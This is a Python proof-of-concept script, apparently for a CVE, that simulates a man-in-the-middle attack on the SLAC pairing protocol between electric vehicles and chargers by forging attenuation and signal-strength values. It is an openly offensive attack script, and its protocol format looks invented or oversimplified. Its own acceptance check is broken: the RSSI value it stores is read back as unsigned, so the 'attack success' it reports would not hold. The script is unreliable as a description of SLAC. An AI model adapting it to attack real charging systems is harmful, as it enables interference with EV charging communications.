#!/usr/bin/env python3
"""
CVE-2025-12357 PoC - SLAC Protocol MITM Attack Simulation
Note: This is a conceptual PoC for educational and security research purposes only.
Unauthorized interception of EV charging communications is illegal.
"""
import struct
import hashlib
from dataclasses import dataclass
from typing import List, Optional
# SLAC Protocol Constants
SLAC_PROTOCOL_ID = 0x0001
SLAC_MESSAGE_TYPE_MATCH = 0x0001
SLAC_MESSAGE_TYPE_ATTEN_RESULT = 0x0002
SLAC_MESSAGE_TYPE_ATTEN_CHAR = 0x0003
# Fake measurement values for MITM attack
FAKE_ATTENUATION_VALUE = 0x3E # Simulated valid attenuation
MANIPULATED_RSSI = -45 # Manipulated signal strength
@dataclass
class SLACMessage:
"""Represents a SLAC protocol message"""
protocol_id: int
message_type: int
sequence_num: int
payload: bytes
def to_bytes(self) -> bytes:
header = struct.pack('>HHH',
self.protocol_id,
self.message_type,
self.sequence_num
)
return header + self.payload
@classmethod
def from_bytes(cls, data: bytes) -> 'SLACMessage':
protocol_id, message_type, seq = struct.unpack_from('>HHH', data)
payload = data[6:]
return cls(protocol_id, message_type, seq, payload)
class SLACAttacker:
"""
Simulates an attacker performing MITM attack on SLAC protocol.
This demonstrates how attenuation values can be manipulated.
"""
def __init__(self):
self.sequence = 0
self.ev_mac = bytes([0x00, 0x11, 0x22, 0x33, 0x44, 0x55])
self.evse_mac = bytes([0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB])
def generate_spoofed_atten_char(self, target_evse_mac: bytes) -> SLACMessage:
"""
Generate spoofed SLAC Attenuation Characterization message.
In a real attack, this would be injected into the communication channel.
"""
# Craft payload with manipulated attenuation values
payload = bytearray()
payload.extend(self.ev_mac) # Source MAC
payload.extend(target_evse_mac) # Target EVSE MAC
payload.extend(struct.pack('B', FAKE_ATTENUATION_VALUE)) # Fake attenuation
payload.extend(struct.pack('b', MANIPULATED_RSSI)) # Manipulated RSSI
# Generate validation checksum (simplified)
checksum = hashlib.sha256(bytes(payload)).digest()[:4]
payload.extend(checksum)
return SLACMessage(
protocol_id=SLAC_PROTOCOL_ID,
message_type=SLAC_MESSAGE_TYPE_ATTEN_CHAR,
sequence_num=self.sequence,
payload=bytes(payload)
)
def intercept_and_modify(self, original_msg: SLACMessage) -> SLACMessage:
"""
Intercept original SLAC message and modify attenuation values.
This is the core of the MITM attack.
"""
if original_msg.message_type == SLAC_MESSAGE_TYPE_ATTEN_RESULT:
# Replace with our manipulated values
return self.generate_spoofed_atten_char(self.evse_mac)
return original_msg
def execute_attack(self) -> dict:
"""
Simulate the complete MITM attack sequence.
Returns attack result summary.
"""
print("[*] Initiating SLAC MITM Attack Simulation")
print(f"[*] Target EV MAC: {self.ev_mac.hex(':')}")
print(f"[*] Target EVSE MAC: {self.evse_mac.hex(':')}")
# Step 1: Generate spoofed messages
spoofed_msg = self.generate_spoofed_atten_char(self.evse_mac)
print(f"[+] Generated spoofed SLAC message: Type={spoofed_msg.message_type}")
# Step 2: Simulate message injection
print("[+] Injecting manipulated attenuation values...")
print(f" - Original valid range: 20-60 dB")
print(f" - Injected value: {FAKE_ATTENUATION_VALUE} dB")
# Step 3: Verify attack success (protocol would accept fake values)
is_accepted = self._verify_protocol_acceptance(spoofed_msg)
return {
'attack_success': is_accepted,
'spoofed_message': spoofed_msg.to_bytes().hex(),
'manipulated_values': {
'attenuation': FAKE_ATTENUATION_VALUE,
'rssi': MANIPULATED_RSSI
},
'impact': 'MITM position established, enabling eavesdropping and data manipulation'
}
def _verify_protocol_acceptance(self, msg: SLACMessage) -> bool:
"""
Simulate protocol verification (simplified).
In reality, this would check against protocol specification.
"""
return (msg.payload[12] <= 100 and # Attenuation within theoretical range
-80 <= msg.payload[13] <= 0) # RSSI within valid range
def main():
"""Run the SLAC MITM attack simulation"""
attacker = SLACAttacker()
result = attacker.execute_attack()
print("\n[*] Attack Simulation Complete")
print(f"[*] Protocol Acceptance: {result['attack_success']}")
print(f"[*] Impact: {result['impact']}")
return result
if __name__ == '__main__':
main()